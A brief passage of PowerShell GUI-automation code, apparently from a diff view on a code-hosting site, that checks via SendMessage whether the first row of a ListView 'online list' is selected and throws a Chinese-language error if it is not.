if ($st -lt 0) { return $false } # SendMessage 超时
|
||||
return (($st -band $LVIS_SELECTED) -ne 0)
|
||||
} 5
|
||||
if (-not $selected) { throw "在线列表第 1 行没有被选中(点击坐标/列表布局可能变了)" }
|
||||
|
||||
|
||||
Reference in new issue
Block a user